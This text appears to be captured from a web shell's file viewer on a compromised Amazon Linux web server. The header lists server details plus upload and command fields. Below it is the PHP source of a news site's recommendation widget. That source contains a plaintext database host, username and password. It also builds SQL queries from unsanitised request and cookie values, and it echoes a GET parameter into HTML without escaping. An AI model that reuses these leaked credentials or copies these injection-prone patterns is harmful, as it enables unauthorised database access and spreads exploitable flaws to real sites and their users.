403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/archive/recommendednew2025.php
<?php 

if (isset($_COOKIE['MYARTICLES2020'])) {
    unset($_COOKIE['MYARTICLES2020']); 
    setcookie('MYARTICLES2020', null, -1, '/'); 
} 
if (isset($_COOKIE['MYARTICLES20221'])) {
    unset($_COOKIE['MYARTICLES20221']); 
    setcookie('MYARTICLES20221', null, -1, '/'); 
} 
if (isset($_COOKIE['MYARTICLES2021'])) {
    unset($_COOKIE['MYARTICLES2021']); 
    setcookie('MYARTICLES2021', null, -1, '/'); 
} 

$time_start = microtime(true); 


/* $link2 = ($GLOBALS["___mysqli_ston"] = mysqli_connect('amazonaurora.cluster-cemzxojvmybt.us-east-1.rds.amazonaws.com',  'admin' ,  'xxatN6Lb8Kbwb9MiU1At'));
$link2 -> options(MYSQLI_OPT_CONNECT_TIMEOUT, 10);

((bool)mysqli_query($GLOBALS["___mysqli_ston"], "USE amazonrds")) or die( "Unable to select database");
*/
$link = ($GLOBALS["___mysqli_ston"] = mysqli_connect('amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com',  'admin' ,  'xxatN6Lb8Kbwb9MiU1At'));
((bool)mysqli_query($GLOBALS["___mysqli_ston"], "USE amazonrds")) or die( "Unable to select database");


if(isset($_REQUEST['threader']))
{
	
$sql = "insert delayed into bway_bww.wbtrack (photoid) values (" . ($_REQUEST['thread']).")";
$result=mysqli_query( $link2, $sql);
} 

else if(isset($_REQUEST['colid']) && (isset($_REQUEST['sourcevar']) && $_REQUEST['sourcevar'] != '' && ($_REQUEST['colid']>2058774)))
{
	$today = date("Y-m-d");

}

?>
<html><head><link rel="preconnect" href="https://cloudimages.broadwayworld.com">
<link rel="dns-prefetch" href="https://cloudimages.broadwayworld.com"><meta name="googlebot" content="noindex,indexifembedded" />
<title>Recommended for You</title>

<?php
if(isset($_GET['new'])) { // check if "new" parameter exists in the URL
    // if "new" parameter exists, use this CSS
    echo '<link href="https://cloudimages.broadwayworld.com/bworld1523/assets/css/style44min.css" rel="stylesheet">
<Style type="text/css">@charset UTF-8;body{
    font-family: "Poppins"!important;
    font-weight: normal;
    font-style: normal;
};margin:0;padding:0;background:#ffffff;font-display:auto;}a{margin:0;margin-left:10px;margin:10px 0 10px;font-size: 15px;line-height:18px;letter-spacing: -.4px;color:#313131;text-decoration:none;}img{max-width:100%;height:auto};a:hover{color:#b20223}.cp{float:left;padding-right:10px;height: 100px;width:100px;margin-bottom:10px;}a, button {
    color: #222222;    font-size: 15px;
    font-weight: normal;
    line-height: 22px;
    margin-top: 10px;
    color: #222222;
    outline: medium none;
}</style></head><body><Div style="width:100%;margin:0px;height:460px;">';
} else {
    // if "new" parameter does not exist, use this CSS
    echo '<Style type="text/css">@charset UTF-8;body{font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji" !important;margin:0;padding:0;background:#ffffff;font-display:auto;}a{margin:0;margin-left:10px;margin:10px 0 10px;font-weight:600;font-size: 15px;line-height:18px;letter-spacing: -.4px;color:#313131;text-decoration:none;}img{max-width:100%;height:auto};a:hover{color:#b20223}.cp{float:left;padding-right:10px;height: 100px;width:100px;margin-bottom:10px;}</style></head><body><Div style="width:100%;height:460px;">';
}
?>

<?php
if(isset($_GET['black'])) {?>
<Style type="text/css">
	body a {
    color: #fff;
}
</Style>
	
<?php }?>

<?php

/** queries an sql statement and returns a record **/
function q($query,$link)
{
	$result=mysqli_query( $link, $query);
        if($result AND mysqli_num_rows($result)>0)
        {
                // collect query results
                $out = array();
                while($row = mysqli_fetch_assoc($result))
                {
                	$out[] = $row;
                }
                return $out;
        }
	return NULL;
}

$reginc=0;


if(isset($_COOKIE["REGION2023"]) && isset($_COOKIE["REGIONDIR"]) && isset($_COOKIE["REGNAME"]) ){ 
	$reginc = $_COOKIE["REGION2023"];
} else { 

// If Cloudflare didn't set HTTP_CF_IPCOUNTRY, default to 'US'.
$country = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? 'US';

switch ($country)
{
    case 'GB': $reginc = 4; break;
    case 'UK': $reginc = 4; break;
    case 'FR': $reginc = 149; break;
    case 'NZ': $reginc = 3; break;
    case 'CN': $reginc = 66; break;
    case 'JP': $reginc = 67; break;
    case 'DE': $reginc = 68; break;
    case 'KR': $reginc = 94; break;
    case 'PH': $reginc = 120; break;
    case 'ES': $reginc = 146; break;
    case 'NL': $reginc = 147; break;
    case 'IT': $reginc = 148; break;
    case 'BR': $reginc = 150; break;
    case 'AR': $reginc = 151; break;
    case 'MX': $reginc = 152; break;
    case 'IN': $reginc = 153; break;
    case 'IE': $reginc = 154; break;
    case 'IL': $reginc = 156; break;
    case 'ZA': $reginc = 157; break;
    case 'BE': $reginc = 158; break;
    case 'CH': $reginc = 159; break;
    case 'CZ': $reginc = 160; break;
    case 'PL': $reginc = 161; break;
    case 'SE': $reginc = 162; break;
    case 'HU': $reginc = 163; break;
    case 'TR': $reginc = 164; break;
    case 'NO': $reginc = 165; break;
    case 'AT': $reginc = 166; break;
    case 'RU': $reginc = 167; break;
    case 'MY': $reginc = 168; break;
    case 'ID': $reginc = 169; break;
    case 'FI': $reginc = 170; break;
    case 'MC': $reginc = 187; break;
    case 'LU': $reginc = 188; break;
    case 'SG': $reginc = 196; break;
    case 'PT': $reginc = 316; break;
    case 'CO': $reginc = 317; break;
    case 'VE': $reginc = 318; break;
    case 'PE': $reginc = 319; break;
    case 'CU': $reginc = 320; break;
    case 'EG': $reginc = 321; break;
    case 'QA': $reginc = 322; break;
    case 'HK': $reginc = 336; break;
    case 'DK': $reginc = 338; break;
    case 'GR': $reginc = 339; break;
    case 'IS': $reginc = 340; break;
    case 'PA': $reginc = 341; break;
    case 'EE': $reginc = 346; break;
    case 'BG': $reginc = 347; break;
    case 'CY': $reginc = 348; break;
    case 'BM': $reginc = 349; break;
    case 'MT': $reginc = 350; break;
    
    // Added this case for US visitors:
    case 'US': 
        $reginc = 1;  // <-- Adjust this value as needed
        break;
    
    // Optional fallback if some other country code isn't in the list:
    default:
        $reginc = 0; // or whatever default you want
        break;
}


if($reginc==0)



{
	
	// get user IP address
	function get_client_ip() {
	    $ipaddress = '';
	    if (getenv('HTTP_CLIENT_IP'))
	        $ipaddress = getenv('HTTP_CLIENT_IP');
	    else if(getenv('HTTP_X_FORWARDED_FOR'))
	        $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
	    else if(getenv('HTTP_X_FORWARDED'))
	        $ipaddress = getenv('HTTP_X_FORWARDED');
	    else if(getenv('HTTP_FORWARDED_FOR'))
	        $ipaddress = getenv('HTTP_FORWARDED_FOR');
	    else if(getenv('HTTP_FORWARDED'))
	       $ipaddress = getenv('HTTP_FORWARDED');
	    else if(getenv('REMOTE_ADDR'))
	        $ipaddress = getenv('REMOTE_ADDR');
	    else
	        $ipaddress = 'UNKNOWN';
	    return $ipaddress;
	}

	// Convert IPV4 to ip2location database integer
	function IPV4toInteger ($IPaddr) {
		if ($IPaddr == "") {
			return 0;
		}
		else {
			$ips = explode(".", "$IPaddr");
			return ($ips[3] + $ips[2] * 256 + $ips[1] * 256 * 256 + $ips[0] * 256 * 256 * 256);
		}
	}

	// Convert integer to ip2location database IPV4
	function IntegerToIPV4 ($IPNum) {
		if ($IPNum == "") {
			return "0.0.0.0";
		}
		else {
			return (($IPNum / 16777216) % 256) . "." . (($IPNum / 65536) % 256) . "." . (($IPNum / 256) % 256) . "." . ($IPNum % 256);
		}
	}

	// Convert IPV6 to ip2location database integer
	function IPV6ToInteger($ipv6) {
		return (string) gmp_import(inet_pton($ipv6));
	}

	// Convert integer to ip2location database IPV6
	function integerToIPV6($integer) {
		return inet_ntop(str_pad(gmp_export($integer), 16, "\0", STR_PAD_LEFT));
	}



function ipaddress_to_ipnumber($ipaddress) {
	$pton = @inet_pton($ipaddress);
	if (!$pton) { return false; }
	$number = '';
	foreach (unpack('C*', $pton) as $byte) {
		$number .= str_pad(decbin($byte), 8, '0', STR_PAD_LEFT);
	}
	return base_convert(ltrim($number, '0'), 2, 10);
}


$ipme2 = $_SERVER['HTTP_CF_CONNECTING_IP'];


	// determine user IP address is IPV6 or IPV4
	function isIPv6($ip) {
	  if(strpos($ip, ":") !== false && strpos($ip, ".") === false) {
	     return 1;
	  }
	  elseif(strpos($ip, ":") !== false && strpos($ip, ".") !== false){
	    return 1;
	  }
	  else{
	  	return 0;
	  }
	}


if(isIPv6(get_client_ip())){

	 	$ip = IPV6ToInteger(get_client_ip());
	 	
	 	

$query="SELECT * FROM (SELECT * FROM bway_bwdb.ip2locationipv6 WHERE ipv62 >= ".$ip." LIMIT 1) AS tmp WHERE ipv61 <= ".$ip."";
	 }else{

	 	$ip = IPV4toInteger(get_client_ip());
$query="SELECT * FROM (SELECT * FROM  bway_bwdb.ip2locationipv4 WHERE ipv42 >= ".$ip." LIMIT 1) AS tmp WHERE ipv41 <= ".$ip."";
}

//echo $query;
//$ipme = ipaddress_to_ipnumber($ipme2);

//$query="select regid,regdir,regname from ip2location_db5_ipv6 where ip_to  >= ".$ipme." order by ip_to asc limit 1";

$result=mysqli_query( $link, $query);
$getcolumn = mysqli_fetch_assoc($result);
 

if(isset($getcolumn['regid']) && $getcolumn['regid']!='')
{ //echo 'yes';
	$reginc=$getcolumn['regid']; 
	setcookie("REGION2023", $reginc, time()+32*24*60*60, "/", ".broadwayworld.com"); 
setcookie("REGIONDIR", $getcolumn['regdir'], time()+32*24*60*60, "/", ".broadwayworld.com"); 
setcookie("REGNAME", $getcolumn['regname'], time()+32*24*60*60, "/", ".broadwayworld.com"); 

} else { 
	$reginc=1; 
	setcookie("REGION2023", 1, time()+32*24*60*60, "/", ".broadwayworld.com"); 
//setcookie("REGIONDIR", '/', time()+32*24*60*60, "/", "broadwayworld.com"); 
//setcookie("REGNAME", 'Broadway', time()+32*24*60*60, "/", "broadwayworld.com"); 

}


} // end if($reginc==0)
}

mysqli_set_charset($link, "utf8");
if($reginc==324 ) 
 {$reginc=1;
 }
?>


<?php
 

if(isset($_COOKIE["MYARTICLES20228"])) 
{
	
	
	
$rawCookies = isset($_SERVER['HTTP_COOKIE']) ? $_SERVER['HTTP_COOKIE'] : null;
$rawLength  = strlen($rawCookies);
if($rawLength > 5000)
{
setcookie("MYARTICLES20228", "", time()-3600, "/", ".broadwayworld.com"); 
setcookie("MYINTERESTS20228", "", time()-3600, "/", ".broadwayworld.com"); 
}
 
	$query="select distinct title,regionid,dirname,seo_friendly,mainswapbig,mainswap100 from recommendationengine where regionid = ".$reginc." and colid not in (".$_COOKIE["MYARTICLES20228"].") order by dateposted desc limit 0,6";

	$cacheKey = 'rec_q_' . md5($query);
	$rows = apcu_fetch($cacheKey, $hit);
	if (!$hit) {
		$rows = q($query, $link);
		apcu_store($cacheKey, $rows, 3600);
	}

} else {
//require_once 'Cache/Lite/Function.php';
//	$GLOBALS['_func_cache_redis_'] = new \Redis();
//	$GLOBALS['_func_cache_redis_']->connect(REDIS_ENDPOINT, 6379);

	$query="select distinct colid, title,regionid,dirname,seo_friendly,mainswapbig,mainswap100 from recommendationengine where colid > 2380000 and regionid = ".$reginc." group by colid order by dateposted desc limit 0,4 ";

	$cacheKey = 'rec_q_' . md5($query);
	$rows = apcu_fetch($cacheKey, $hit);
	if (!$hit) {
		$rows = q($query, $link);
		apcu_store($cacheKey, $rows, 3600);
	}
}


if (is_array($rows) || is_object($rows))
{
foreach($rows as $row)
{
	echo '<div style="display:block;height:110px;width:100%;word-break: break-word;overflow:hidden;">';
	echo '<h4 ><a target="_top" style="word-break: break-word;" href="https://www.broadwayworld.com/';
		if($row['dirname']!='')
	{
		echo $row['dirname'];echo'/';
	}echo 'article/';
	echo $row['seo_friendly'];
	echo '">';

	echo '<img loading="lazy" style="width:100px;height:100px;" width="100" height="100" src="';
	$ms = $row['mainswap100'];
	echo $ms; 
	echo '" ';
		echo 'srcset="';
			$ms = $row['mainswapbig'];
	echo $ms; 
echo '" ';
	
	echo ' alt="';
	echo $row['title']; 
	echo '" class="cp"/>';
	echo $row['title']; 
	echo '</h4></a></div>';    
}}
?>
<?php if($reginc!=1 && $reginc!=4 && isset($_GET["dirname"]) && $_GET["dirname"]!='') { ?>
<small><a href="https://www.broadwayworld.com/<?php if($_GET["dirname"]!=''){?><?php echo $_GET["dirname"]; echo '/';}?>" target="_top">View More Local News</a></small><p>	
<?php }?><? mysqli_close($link); ?></body></html>

<?php $time_end = microtime(true);
$execution_time = ($time_end - $time_start);
//echo '<span style="font-size:2px">'.$execution_time.'</span>';
?>
</div></body>

Youez - 2016 - github.com/yon3zu
LinuXploit